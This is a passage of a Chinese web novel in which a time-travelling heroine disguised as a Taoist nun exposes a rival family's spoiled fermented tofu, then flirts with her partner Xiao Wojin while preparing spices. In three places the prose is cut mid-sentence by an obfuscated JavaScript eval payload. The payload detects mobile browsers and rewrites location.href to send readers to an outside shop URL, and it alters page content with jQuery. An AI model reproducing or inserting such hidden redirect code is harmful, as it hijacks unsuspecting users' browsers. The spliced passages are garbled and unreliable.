她眯起眼,看那摊子前人头攒动,乞丐们挤作一团,根本看不清那帮厨的动作。看着看着,忍不住皱起眉:“不过旁边那个小厮拿的罐子是啥东西啊,玫瑰花露?红盈盈的。” “不是水状。”萧握瑾的声音从头顶落下来,低低的。 他比她高出一大截,此刻跟她出来,站身后,却能把那摊子上的情形看得更清楚。他也微微眯起眼,目光在那摊子上停了片刻,声音又轻了几分:“是粉末,红色,看起来像是……” 罗烨烨哦了一声,感觉头顶被他声音挠得痒痒的,忍不住抬头看他。却见萧握瑾是蹙眉,唇也是抿着。罗烨烨愣,悄声问他:“咋了?” 萧握瑾没答话,只偏了头。他在辨认,罗烨烨歪了歪视线,又看到那双眸里的影,浮动着好似琥珀色的,竖着的。等他片刻,直到他收回目光,低头看她,将声音只在他方寸二人间传:“小厮往粥里加了样东西,我看不清是什么,但……罗烨烨!” 话没说完,身边已经空了。他伸手就是慢了半拍,就教这只桃花钗带,从他指缝跑出去。 罗烨烨一头扎进了人群。 她三步并作两步,绕过几个挤作一团的乞丐,直奔那摊子前。萧握瑾那声唤名悬在半空,没钻进她耳朵里,她已经站在了摊子前面,双手合十,微微欠身,声音端得清风正派: “既见这位施主,贫道这厢便有礼了。吾乃城外清虚观道姑,法号随然,云游至此,风尘仆仆,盘缠用尽……唉,已是好几日没吃顿热乎的了。” 她说着,唉声叹气,还抬手抿了抿额上被风吹乱冒出来的碎发,那模样,倒真有几分憔悴。 摊前的小厮一愣,把红罐子放下了,打量她。 罗烨烨面不改色,往那粥锅上一瞟,又落在那只红罐子上,喉咙缩了一下。这回不是紧张的,是真有点馋了。她看着小厮,咧开嘴,露出她那副笑脸: “施主行行好,赏口吃的吧。” 7. 缘来 方才罗烨烨见一个小厮快步走到姚富跟前,附耳说了什么,姚富便走了。她这才瞅准空当,赶到前面来要豆腐。 那姚富走时,笑容便敛了起来,眉头微皱,神色不虞。这下笑容转移到罗烨烨脸上,眼见小厮打量她,她顺手整了整衣襟,把方巾扶正,端出一副出家人端方达理的模样。 那小厮面色缓和了些,却并不松口:“我们东家刚走,这粥是做给乞丐的,你是道人……” “道人也是人啊。” 这话一出口,差点没维持住正形。罗烨烨赶紧咳嗽两声,笑呵呵接话道:“唉,出家人不贪口腹之欲,可这香味……实在是令贫道感怀山上旧时味,不禁忆起与师姐妹之间清茶淡饭之时日呀。贫道不要粥,只求施主赏一块那白豆腐尝尝,解解馋就成。” “哦,你不要腐乳啊。”那小厮像是得了什么大赦,立马便看开了,观他肩头颈状都松懈下来,埋头便盛起豆腐,“白豆腐,四两可以吧?不够再来盛。” 罗烨烨双手接过钵子,低头看那摊上腐乳,眼睛却不自觉地亮了。 不得不说,这腐乳真好看啊:也是赤红光鲜,面上是一层深玫瑰釉色,是流汁的,不是沾辣椒籽的那种。上头沾着星星点点的黏腻花屑,和着咸味又钻鼻,真是令人十分好奇:到底是甜味?还是咸味,还是又咸又甜的鲜味? 是咸了,而且非常鲜。 罗烨烨便忍不住舔嘴,又嘿嘿笑了,抬起脸,目光和善地看向小厮,手指头都控制不住往那个玫瑰腐乳上指: “这个,这个也来一块吧?” 应该没事吧?虽然她的白豆腐已到手,但是她也实在是饿呀,眼见这玫瑰腐乳那么香,都来到这了,干嘛不尝一口呢? 吃! 小厮默默不语,瞥一眼她馋成这个样子,又扫她身后。不远处,有个一身白衣、神色淡淡的人,正往这边凝视。不知是打手,还是陪道姑化缘的善信。 “……拿去拿去,少吃点,不好消化。”小厮低下头,从碟子里夹了一块腐乳,给她嵌到小钵子里,摆摆手,“去边上吃,别在这站着了。” “多谢多谢!施主你必行大运,蒸蒸日上,日进斗金呀。” 罗烨烨心道好不好消化,跟我的胃酸说去吧,笑着说了一串吉利话,便埋头把她这丰盛的一钵子搂走。 她这一退,其他乞丐就往前拥上。听着脑后小厮的嚷嚷声,她低头凑近腐乳闻了闻,还真有香味,玫瑰的甜香混着酒意,一股股地往她鼻尖上糊。 哎呦,闻着真是那味。 罗烨烨一边肚子打着鼓,心中也不禁感怀。其实她刚才编故事掺了真话,腐乳还真是她旧时记忆。 遥想现代时候,家里便常买腐乳,配馍馍、配粥,尤其还能拌香油、拌醋、拌蒜。咸鲜适口,能多吃好几个馍。那味道软软糯糯的,在罗烨烨小时候,还喜欢单用筷子蘸着嗦着吃,在舌尖上一抿就化开,满口都是香。 光想着,她就忍不住咽了咽口水,把筷子往嘴里送。 哦?之后她的脸色变了。 “呕!” 简直犹如一拳打中她锁骨当心,直接让她喉咙干呕,她一把捂住嘴,把那块黑暗料理囫囵吞了下去,整个人都打了个哆嗦。 “你这啥配方啊?”她龇牙咧嘴,脱口而出,“叫我被腐乳揍了!” 这下姚家人齐齐看她,那家丁立马不高兴了,逮住她的后颈就给她提起来,差点让她双脚不着地,直把罗烨烨吓得一哆嗦: “给你吃都不错了!你再说一句?赶紧走——” 话没说完他自己走了,是一把白玉心杆的折扇照他脸上扇,没想到直接给他呼飞,硬邦邦的骨心,把他整片脸都砸出一大片淤青。 罗烨烨趁机赶紧蹲下身躲视线,趴到地上两步迅速爬到那家丁前边,把掉落的折扇拾走,攥进手里。一边四肢发抖:哎呀天呐,太吓人了,赶紧撤! 同时脑中又飞速转,想配方出错在哪里:咸,咸得发苦。为了盖苦味,想必是猛放了辣,辣得刺喉。玫瑰香是有的,却糊在嘴里,又咸又苦地黏在上颚上。她用舌尖一抿,舌苔和上颚之间,竟还有一股沙沙的颗粒感,像嚼了一把没筛净的粗盐。 这种口感,沙沙的,像是有东西变质了…… 她心里正盘算着,身后便有临街客人幸灾乐祸,替她喊出了心中话:“我直说吧,你家这腐乳,简直侮辱腐乳!我吐出来都比这香。” 那家丁听得脖子粗,转眼盯见地上蹲着的罗烨烨,便纵起身朝她抓去,要拿她出气。 罗烨烨赶紧翻身爬起,差点没躲过,便听得一声怒喝从头顶传来:“姚丁,你干什么?!那是顾客!” 她一扬头,果然没人再抓她了。台阶上是那个管家,怒目而视,抱着胸的是云姨。 感受到罗烨烨目光,云姨也看向她了。看着她那副表情,脸色不太好看:“怎么,不好吃?” 罗烨烨张了张嘴。 她想说不好吃,想说这东西咸得发苦、辣得刺喉,还有股沙子味儿。可话到嘴边,看见云姨那审视的目光,看见姚丁铁青的脸,看见周围那些乞丐和街坊。 不中,她现在是化缘的,多一事不如少一事。 方才就是贪这一口出事了,现在得赶紧抽身! “不是不是,”她赶紧摆手,强撑着笑脸,声音讪讪,“是太好吃了,贫道感动得都要哭了。” 云姨正要开口,罗烨烨已经止不住心痒痒,下意识就要往灶台那边挪,想上手拿那个红罐看看是什么东西。这东西指定有问题…… “哎,”云姨的一把拦住她,“干甚?” “我想看看这腐乳是怎么做的……”说着她伸手,去够那调料罐子。 “看什么看?这是我们姚家的秘方,外人不能看!”方才一直温温吞吞的小厮却黑脸了,一把将罐子夺走,直接吵她,“你一个道姑,化缘就化缘,怎么还惦记上人家的手艺了!是不是想抢生意?” 你家这么菜的手艺,还需要我惦记? 罐子沿碰都没碰到,罗烨烨心里顿时窝火,但她同时也被噎住了,低下头,看自己手指攥着的小钵子,想辩,又不知从何辩起。 说你家手艺太差,我替你们改改?说这腐乳吃着害人,我是好心? 她深吸一口气,把那些话压下去,只文文弱弱地,慢慢吞吞地撇着嘴道:“那贫道也说实话吧,你这个腐乳,咸,咸得发苦。为了盖苦味就猛放辣,辣得刺喉。还有一股涩味,你们该查查,是不是啥放坏了……” 不料话音未落,小厮直接发难了。 他把铲子往灶台上一丢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516200|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咣当一声,震得罗烨烨一哆嗦。她没来得及脚下动,眼见就有手朝她伸来,她赶紧往后捎。一扭身,小厮倒没抓着她人,却抓着她腰间揣着的那罐霉豆腐,一扒拉给她揪掉了。 “哎,我霉豆腐!” 罗烨烨顿时如遭雷劈,直接变了脸,胸中积压的火顷刻点燃,再也冲不住。可她大叫也晚了,方才被家丁拎的时候,罐子就已经松口,这会直接从衣襟里掉出来,她赶紧伸手,没搂住,啪地一声—— 红油溅了一地! 霉豆腐碎开成几瓣滚出来,沾了全是灰。这一摔,摔得罗烨烨脑子里也慌成豆腐脑了,赶紧趴下捡。手还没碰到,旁边一只手已经先她一步,捏起一块霉豆腐: “诶呦?这长得俊呀,看着怪好吃!” “哥们别吃了!都撒地上了,”罗烨烨真急了,止不住吐槽,“姓姚的腐乳做了呕吐物一样,你当初还吃,现在捡地上吃,敢情你啥都吃是吧?” 这进嘴能好吃吗?到时候吃她家霉豆腐也吐了,这算啥呀! 罗烨烨把想说的话喷出来了,心头火上更是浇一把油。她眯起眼,是可忍孰不可忍,抬起头看这圈人,心想真是给脸给多了,方要继续续航喷人,结果那方才骂街的汉子,已经把霉豆腐塞进了嘴里。 他眼睛忽然亮了:“诶,好吃啊,真好吃!哎呦,比姚家那腐乳好吃多了。” 这一嗓子,罗烨烨都愣了。就见汉子又舔了舔手指头,转头朝身后喊:“老吴,你过来尝尝这个。” 方才他喊“我吐出来都比这香”,现在居然给人推荐。罗烨烨眼见那个叫老吴的凑过来,狐疑地看了她一眼,也捏了一块放进嘴里。 咂巴两口,他脸色变了:“这是哪家的?” 街坊都不愿意吃地上掉的,直皱眉盯着他俩:“啥味儿?到底啥味?” “又辣又鲜,还有股酒香!” 那老吴摆摆手,嘴里细品着,眯缝着眼,像是不想再说了,专注品尝嘴里的味儿: “姚家的咸得要命,这个刚刚好!” 三言两语间,已经围上来五六个街坊。许多笑他俩捡地上豆腐吃的,可就是这样,一睁眼一闭眼,地上的那几块霉豆腐,居然真没影了。 这场面出来,罗烨烨是真爽了,四肢百骸都舒服。又爽,又心疼,这是她带过来的最后一罐了,这下不得不再发新的霉豆腐了。 她低头看了看手里那个小钵子,幸好上面的白豆腐还没沾上多少。她立刻伸手,把最上头的黑暗料理版腐乳捏掉。还好还好,不能让它污染掉剩下的豆腐。 “道姥,你这霉豆腐哪来的,你做的啊?”灰布衫汉子擦着嘴问。 那骂街的汉子哂一声:“哎呦,别问她,刚才不让我吃呢,真小气!” 转眼间局势逆转。罗烨烨脑子转得飞快,深吸一口气,重新端回方才那副人淡如菊模样,装出一副为难,叹了口气: “唉,不是贫道做的,这是那个新来的东家,那家酒楼给的。我去那边化缘,东家心善,给我一罐。” 这下不能掉马了。她心静如止水,眼观街坊邻居喧嚣闹,好奇心起朝她来,凑热闹地:“新酒楼,哪家啊?” “醉仙楼呀。”罗烨烨闭起眼,她左手展开早早拾的那把扇,轻轻摇。说得那叫一个,云淡风轻。 8. 屯余 天色斜照,日头将倾。 一只喜鹊从檐角腾起,扑棱棱扇着翅膀,穿过街巷,掠过瓦脊。底下是一条宽宏石板大道,两边的高墙下挤满了小摊贩,卖绢花的、茶汤,竹编,各色幌子挑在杆头,风一吹,呼啦啦飞。 往东,是醉仙楼。楼前水榭汤汤,曲栏回廊,虽封了门,气派还在。再往南,绕出城门,便到近郊,小柳小河,几面青旗挑着酒铺,烟雨濛濛的。往西转回大街,一路铺面林立,行人如织。 而尽头处,一座独栋高楼拔地而起,门面锃亮。檐下红绸灯笼成排挂着,正是,望江楼。 喜鹊落回这楼檐上,歪了歪头,往底下看。 街坊们一听见醉仙楼三个字,疑声渐起:“醉仙楼,不是被封了?” “解封啦已经,”罗烨烨摇着折扇,头头是道地开始现编,“我今天去的时候,封条都撕了,里头正收拾呢。掌柜说了,明天就开张。” 街坊们怪好奇的:“那这霉豆腐明天能吃到不?” 这不,客流就来了嘛。 罗烨烨心里乐得打算盘,脑子里飞速地思索怎么快速出菜。嘴上先应着,面上却还是那副出家人的淡然模样:“唉,大概吧。我听掌柜说,这是醉仙楼的招牌。就叫,猫豆腐。” “猫?” 应那问声,罗烨烨一合折扇,啪的一声响,便如那说书人将醒木往案上一拍,开始将这缘分娓娓道来: “这猫豆腐一方始,是出在前朝一个避讳,想当初火武金戈年,圣上祖父名讳虎,因而上下凡沾虎字都得改。而腐乳的腐与虎同音,便拿猫字顶上了,从此‘腐乳’便叫了‘猫乳’。” 果然有街坊回驳了:“那你这不是说腐乳吗?你这是‘猫豆腐’啊。” “这就是工艺上的事了啊,我只悄悄告诉你,猫乳猫豆腐只一念之间,多得我不多说,口里自己尝着便有分辨。”罗烨烨一副高深莫测样,又续道,“正宗工艺属南湖,而且猫馀,这名也取自南湖,取的是‘年年有余’讨彩头,就叫啊,猫余。” 猫衔余香至,岁岁有余年。 “哦哟,喜庆啊,”灰布衫汉子半懵半懂,似懂非懂地点头,“行啊,听着还可以吧。明晌午去尝尝。” 还有个卖花姑娘随声应和:“那我现在去吧。” “干什么干什么呢?” 姚家那家丁终于沉不住气了,挤过来嚷嚷:“这是姚家门口施粥,你们几个乱说什么呢?不是我们家的别说!” 他一边吵,一边推搡罗烨烨。罗烨烨顺着就被推得一个趔趄,抬眼瞥了他一下。 接着,她单手竖掌,换上一副悲从中来的模样:“唉!贫道远道而来,昼夜颠簸,不想只是吃口豆腐就要遭到如此驱赶。小兄弟,贫道到底哪里惹了你?若是你望江楼如此相待,我看我还是早走得好!” 说着,抬臂用袖口抹了抹脸,作沾沾眼泪状。 那卖花姑娘立马回头,瞪小厮一眼:“谁闹事了?人家猫豆腐就是比你们家的好吃,还不让人说了?” “就是!你还说抢生意,这叫抢生意?人家做得比你好,”老吴也跟着帮腔,“这才叫真本事!” 他这一声,点燃了群情怒火。估摸着街坊们也忍姚家许久了,沿街的小摊小贩,尤其是卖豆腐的那几个,早便看不惯姚家,明明做那么难吃,还硬要他们说好吃。一时间,你一嘴我一言,叫骂声此起彼伏。 姚家人和街坊对骂起来,罗烨烨便趁机隐身而退。她弯腰把罐子捡起来,拍了拍底面,防止油流到身上,小声念叨:“罪过罪过,浪费食物是大罪过……” 一边念叨一边往后退,趁人声鼎沸,悄悄溜出喧嚣之外。 转身走了几步,便看见那白衣,还在原地。 萧握瑾靠在墙边,这回手里没摇折扇。扇子在罗烨烨手里呢,方才是他掷出去的。他一身白衣,干干净净,而罗烨烨手里那白扇,绘满桃花。 罗烨烨走过去,从腰间抽出那把白玉折扇,递给他:“喏,你的扇子。” 萧握瑾看了看扇骨上沾的灰,没接,目光落在她身上。 哟?不会是嫌沾土吧。 “老板,我可是犯了好大险,特意给你拾了。”罗烨烨用拿扇那手叉起腰。 说着,她另一手,把盛豆腐的小钵往他怀里递:“那你端这个吧。这趟姚家不白来,顺了块豆腐也算是有得做了。待会上面那层舀掉,再把它切块,盖上纱布压一晚,杀杀水。” 罗烨烨说罢,以为他会问,再耽搁一晚,霉豆腐做不出,明日开张拿什么交菜?或是问,你可发觉,这满街无人肯卖豆腐与他们,实乃姚家在背后作梗? 线索就是货代云姨。姚富说,多亏她才有用不完的豆腐。这话岂不分明是说,他家把整条街的豆腐都收尽了,偏生不往外卖给她这酒楼么? 没成想萧握瑾就望着她,那双桃花眸狭得呀,意味难明,问的是:“哦,既如此犯险,为何还捡,我让你捡了?” 这是调戏吧? 罗烨烨可认准他这一套了,反而笑起来。她一笑,对面萧握瑾忽然不笑了。但她可不会放过,直接走近他,就见对方眉头微微皱了一下,却没说什么,只把手臂抱起,拦在她与他之间。 嫣花细柳过风梢。罗烨烨,她踮脚。 细看他眉梢妙色,见这明月偏眸,渐渐向后靠,不与视。 罗烨烨背着手,仰着脸看他,笑嘻嘻地问:“如何,怎么样?我做得不错吧,萧老板。” 萧握瑾看着她,没接话,只将目光落回她别在腰间的扇子。罗烨烨意会,抽出来递给他,萧握瑾便把手里的桃花折扇展开,盖过她顶,替她扇了扇风。 “热不热?” 罗烨烨一愣:“你不夸我?” “夸你什么,”他漫不经心道,“夸你把我的霉豆腐摔了?” “……那不是意外嘛!”罗烨烨下意识捂了一下自己夹在手臂底下的瓶罐,听他笑了一声,把扇子合上,刚好轻轻敲到她的脑袋壳。 “走吧,回去做新的。” 罗烨烨摸了摸头顶,和他并肩走了两步。忽然想起什么,回头看了一眼。 街上人来人往。有穿汗衫的老妇老汉,垂着胸脯,肩上搭着毛巾,挑着担子卖豆腐,走几步就吆喝一声。有穿青布直裰的账房人,手里捏着把折扇,慢悠悠地哼曲。还有几个妇人,梳着利落的髻,三两挎着篮子,后头一个背刀,谈笑间在摊前挑拣菜蔬。 靠墙根蹲着几个乞丐,破衣烂衫,正眼巴巴地,望着望江楼门口那只大竹篾子。 一些乞丐还在呼噜呼噜喝粥。有个年纪大的乞丐,喝完粥站起来,忽然捂住肚子,皱起脸。 旁边的人问他咋了,他摆摆手:“没事没事,可能吃太多了,肚子有点胀。” 罗烨烨想再细看,萧握瑾的声音拉了她一把:“看什么呢。” “没什么。”她收回目光,跟上他的步子。 两人并肩往醉仙楼的方向走,身后是望江楼的喧闹,身前是渐渐西斜的日头。 “哎,你说咱往后能不能再开些新了营生啊,咱明个霉豆腐上不了,要不咱们上点小菜?”罗烨烨问他。 萧握瑾摇头,不以为然:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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先前萧握瑾说门上封条是新贴的,说明厨房一两天内都有人使,没见着有什么显眼的脏处,还特地再洗一遍吗? 若说洗刷,也该是做饭前再洗,不然人等到了,不又脏了,还得重洗一回。 不过嘛…… 罗烨烨自信一笑,踏着飞扬步子进了后厨,接过小二手中碗盘:“不妨事不妨事,咱独家秘方承大运,有上头眷顾,霉豆腐不易坏。你去替我寻几样东西,我写纸上,你尽量赶天黑前买给我。” 这下小二却没动。只立在一边,手搭在腰间,不知在踌躇什么。罗烨烨瞥他一眼,见他低着头,僵了半天,才勉强笑着开口: “老板,咱们银子不够了,怕是还得添……” 罗烨烨惊讶:“车厢里没了吗?” 一片寂静。 有人不敢吭声,有人也未言语。罗烨烨不急,手上边洗碗筷边看他,水流到手背上,刺啦啦地凉。直等到门口的萧握瑾都回头往屋里问:“何事,还没商议妥当?” 罗烨烨撇嘴,扬起脸喊他:“咱夜黑了,是要做霉豆腐呢,又不出门,急什么?你也别站门口了,你进来帮我——” 就听扑通一声。竟是小二,倏地没了影。罗烨烨懵,再低头,人直接跪在她脚边。 这麻衣短打的小伙子单膝跪地抱拳,声如石压胸口,字字颤抖:“姑娘、公子,小的有罪,小的犯事了,小的家父重病,没联络上旁的亲眷,只认到我一个……” 他头垂下去,声亦低下去,喉头梗塞:“我实在是没辙,只得取了车厢后的……所有盘缠,都抵过去了。” 9. 调味 长夜风萧。 罗烨烨本来火急火燎、风风火火,已备好大展身手,汗洒后厨了。一颗心炙热难当,这下却忽觉水流激着手背,有点冷了,浑不觉浑身打了个哆嗦。 小二倏尔抬起头,目中似有火光,求一线生机,看她如救命浮木:“但是东家,小的已叫亲眷去寻母亲典当,待银两从当铺赎回来,就能全部还上!小的愿做牛做马,一定清还!” 三百六十两,一夜买命偿。 罗烨烨停了手,忽觉不知该说什么是好。这事其实比较复杂,你说是借吧,可她向来借钱不可能随便借,也要看人能不能还上。可看小二这副样子,她把目光落在他脸上,又觉得难言。 投资可以,可她这算不算亏财了? 这念头一闪,她又茫然了。这小二方才字字泣血:父病重,母在远乡,一家离散,家业不顺,前程难料。一时间,万般皆如烟云之生万物,便又绕到她自己这颗遗落的小种子身上。 想来她亦是流落异世,与亲人相隔。思来前路,亦是茫茫。 这般想着,她下意识便回头望向门口。及至恍惚间瞧见那人,她又释然了。 哦,没关系,还有萧握瑾呢。 她是罗烨烨,可罗烨烨的店不止她一个呀。背后有个萧老板,这钱丢了丢了,又能多艰难呢?纵使黄金万两,也不过是眼一睁一闭,如握中流水,源源绸缎,一梦黄粱。 果然,便见萧握瑾抬起指掌。 一握,一攥。再展开时,那金星,便投入罗烨烨冲着白水的手心里:“去买,顺道在街上带些椒盐酥饼,她还未用膳。” 小二眼中各色变换,罗烨烨转身,也不大记得自个如何将金子搁进小二手中,小二如何奔出门去,又如何连连道谢,余音荡在这小厨房里。 她再回过神,萧握瑾又站在她身边了。也没看她,只拿着一只碗,捏着,左右端详。 罗烨烨收回目光,轻轻嘟囔:“其实我想吃红豆饼,想吃甜的。” 果然引来萧握瑾瞟她一眼。 罗烨烨翘起唇角,鼻腔都忍不住哼笑一声,侧开眼,撩起眼帘,洒他:“骗你的,其实我就是喜欢椒盐味,香得很。你真懂我呀,萧老板。” 萧握瑾将干净碗朝她身前放下:“少说多做。这是方才小二给你的,说他是从街上新买的碗,怕厨房有什么不干净,便用这个吧。还有那套盘子,茶杯,竹篾。” 罗烨烨不置可否,将钵子里的豆腐盛到篾子上,盖上馏布,再放上铁板,其上再放几个盆罐:“中啊,不过一时半会咱们动不了豆腐,今晚可以先调辣酱。” 萧握瑾扫她一下,看她忙前忙后,他往案边靠以便她能放开手脚,忽然开口:“你让小二带了什么?” 罗烨烨手上不停,随口道:“写了张条子,要紧,也没那么要紧,主要是发酵时候才用得上。老豆腐我刚看,杀水还可以,再杀杀吧,不想叫它太黏。” 萧握瑾不言语,只点了点头。 两人都默默的,手上却没停。萧握瑾帮她取调料罐,一罐一罐摆在案上,整整齐齐。罗烨烨便将盆端来,边开讲道:“霉豆腐古法有六曰:备胚发霉调辣酱,裹料入坛候味成。” 她讲工艺像说书,娓娓道来:“这第三曰调料,便取细辣椒面,与盐对半而配,可添花椒、八角诸料,拌匀待用。盐多则耐存,辣足则味烈。” 说着,罗烨烨用调羹点点案板,像先生授课似的,一本正经:“咱们说食物,有色、香、味、美。色就是咱们辣酱的……” 她停顿,萧握瑾接:“红色。” “鲜红色,暂且不唠它。”罗烨烨满意得翘嘴,将所用香料在她面前排开,“香就是这些,不过香料里头也有味,譬如麻辣鲜香,八角茴香,有条件还可以加香叶。” 说着,她捏一小撮花椒。花椒啊,长得是小小的,裂成两瓣,像张着嘴的小花苞,表面疙疙瘩瘩,红褐色,里头是黑籽。 这撮撒进碗里,她又捻在指尖一粒,举到萧握瑾面前,叫他看:“这个是花椒,捏碎了有股麻香,刺刺的,像会扎舌头,尤其这种咧着嘴的……” 萧握瑾忽然笑了,听他道:“那倒像你。” 罗烨烨瞥他一眼:“为啥?” 听他说啥好话呢。结果他挑眉,来一段:“方才在望江楼,可不是咧着嘴,看镖师小憩?” 罗烨烨一噎:“我那是惜才爱才!” “嗯,”他慢悠悠点头,“看出来了。” 罗烨烨不言语,瞧他这张侧脸。罢了,倒也俊美,便不气了,只好把那粒花椒扔进石臼里,咚咚咚捣了几下。 萧握瑾只靠在一旁看着,问她:“要捣成粉?” “整粒入坛,不必磨粉,一会挑出。这个是练手。”罗烨烨解释她方才举动,她才不会承认是因为他,“磨粉的话,麻味尽出,反而夺了主味。整粒放进去,藏在酱里头,偶尔嚼着一颗,麻香炸舌,这叫‘暗香’。” 不过她又想了想,添一段:“类似,突袭吧。有人喜欢这种霸道,那不喜欢的呢,自己挑出来就成。” 萧握瑾听懂了:“你不爱吃,所以你要挑出来。” 罗烨烨理直气壮:“当然啦,不爱吃还不让挑?” 萧握瑾弯了唇角,把碗里几颗花椒,从里拈走,放回罐里。 “那你少放些,不好挑。” 叮的一声响,如汤匙敲在青丝琴弦上。罗烨烨掀起眼望向他,忽觉五感俱开,那颜色与光啊,便晕染在她眼周,景象如画般清晰,耳中声音传得更远。 是他。这公子半束着发,头上黑绳与红绳交缠在一起的,还缀着些小饰物,叮叮当当。 那小饰物一转,罗烨烨便收回目光,若无其事,继续往下讲:“再说八角,一般是取整朵,掰瓣入之。成块者香出缓慢,与豆腐同陈,月余方显其韵。磨粉则香散太急,初开坛时冲鼻,后劲全无。” 萧握瑾捏起一个角,在面前端详。这一颗棕红色,拇指头肚大,像晒干的小星星,真有八个尖尖,棱角分明,硬邦邦的。 他抬起眉眼,唔了一声,弯弯绕绕的,分不清是轻佻还是真明了,便钻进她耳里:“八仙过海,八面玲珑啊。” “对啊,这才像我,”罗烨烨叉起腰,扬起下巴瞄他,“机智聪慧,能说会道,咱销量是不是蹭蹭往上涨?等开张,让你见识什么才是真正的,舌灿莲花。” 萧握瑾笑了,他轻轻送一声气,便勾得罗烨烨心痒痒的,令她赶紧找新香料转移注意,目光正扫时,却见他已伸手,向她面前那只白瓷罐里,捏出一小撮淡绿色的小籽。 真是籽状,瓜子大小,比瓜子细,柳叶身形。他捏起来,抬眼向罗烨烨,她便即答:“小茴香。” 他一顿:“销魂香?” “小茴hui香。”罗烨烨咬清拼音,眯起眼瞧他,意思是不许说她有口音,“八角是大茴香,小茴香籽宜微火焙香,比如炒,或粗磨成碴,就是那种,像盐粒,或者孜然的感觉。不可成粉,成粉则沙口感重。” “但它不是咸的呀,虽然孜然调料也会用到它,要它的甘味,鲜。”罗烨烨轻轻讲,她也捏一点,放在掌心挑看,用指尖拨弄,“但它本身闻着甜,温温柔柔的。” “那这个像我。”萧握瑾声音也轻了些。 “你温温柔柔?”罗烨烨看见他都笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516202|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,她有点热,下颌骨底与耳根处都泛了红,也调侃他,“你方才拿扇子扇人脸的时候,可一点都不温柔。” 萧握瑾不答,只把那撮茴香也落进她的石臼里,骨节分明的手指从她手边擦过,慢条斯理的。 “那是对旁人。”他道。 罗烨烨没接话,石臼里的捣声,又继续响起来。默默一会,她另一只手伸出,接着扒拉新的香料罐。 捏开盖子,哦,是丁香。她把后面四罐调料一列排开,转而清了清嗓子,专心指点道:“丁香,紫苏、鲜姜蒜。这四样,都不用。” 萧握瑾问:“为何?” 罗烨烨指着丁香,像是一粒一粒数给他听:“丁香性烈味窜,入霉豆腐则霸香夺味,一丁点便满缸皆丁香气,豆腐本味尽失,忌用。”说着拈起一颗丁香,凑到萧握瑾面前。对方停了片刻,稍微凑近嗅了嗅,眉头皱起。 确实冲。 “紫苏遇发酵之物易生酸败。鲜姜蒜含水重,入坛易生杂菌。”罗烨烨把那三个罐子又往远推了推,“若要用,须晒干磨粉,或炸香油后取油弃渣,譬如葱油嘛。” 葱油后面拌面俩字被她吞了,因为她馋了,想起那些家常菜里常用的炒葱、炒蒜、炒姜。切配时,辣味冲鼻入眼,下锅时,热油蒸出来的辣呛味,混着葱的鲜香。这时候若烹个鸡蛋,那更是美之滋味,常日之福了。 她咽了咽口水,赶紧提醒自己,回过神来:“所以葱姜蒜味道比较个性,有人喜欢有人嫌。炝锅可以,直接配的话,不算是大众都爱。建议是弄好之后做成外加调料,让顾客自己选要不要。” 萧握瑾看着她这副馋样子,没接话,反从那袖里又露出手腕。罗烨烨移动目光,顺着他指尖看,真是细长呀,捏起另一只罐里,几颗小钉子样式的香料。 一头圆圆的脑袋,一头细细的柄。暗红色,是晒干的,硬邦邦的。捏起来,他似是欣赏,颇满意呢:“这才像你啊。” 罗烨烨看他,方想问像什么?是日常之味,凡俗喜乐?还是她熟接地气,人间烟火呀。 “又小又硬,”他慢悠悠道,“还会扎人。” “……”罗烨烨一时无语了,瞪起眼,“你才扎人!” 说罢伸手便要夺他指缝里的丁香,想丢进臼子里一并捣了。然而萧握瑾一晃,便朝后滑去。 一触即离,她干脆往前扑,心里那一股热火便腾得一下烧欢,扑上去了,才知他腰上系的带子是黑色的,革带穿孔,还编着一条暗红色的绦线,扇子便挂在那,在她眼前摇啊摇,晃啊晃,跳来跳去。 啊,又给他扑倒了。 凑近了才瞧见,那白衣公子啊,他衣裳上其实是有纹路的,淡淡的纹,似水印,又似缂丝。 墨发稍有凌乱,散落在地上。他掀着眼,懒洋洋的,一副浑不在意模样,悠悠调侃:“这位姑娘,你怎么又这般投怀送抱?是有什么东西引了你,还是萧某招了你啊?” 那张深唇一开一合,罗烨便鬼使神差,差些点到他下面的唇瓣上,想看看他会不会慢慢地喘着气。 这人嘴是真硬呀。不过吧,这嘴唇,长的肯定是软的。 这般入神,罗烨烨便愈发心火旺盛,忍不住按着他腰的手收紧,一抓。 结果便被这公子展开扇子,挡了手。他哎一声,倒也笑了,歪了头,望她:“姑娘这是何意?你我之间,可别动手动脚。” “萧握瑾。”罗烨烨望着他,望着那双桃花眼,桃花面,仍觉得现下腿下压着的,身体坐着的,手掌按着的温度,都传到了她身上。 她只觉头有些发晕,又有些口干舌燥,喉头不由得缩了一下:“你是不是……” 10. 月影 正当时,她脑子里却叮的一声,将这美妙画卷敲破了,截断她的话音,随之在她眼前跳出一片光幕: “宿主请注意,当前霉豆腐知名度限于南湖以内,枫城尚未打开市场。请尽快前往关键地点:姚富库房。该处藏有姚家腐乳的核心配方及原料来源线索。” 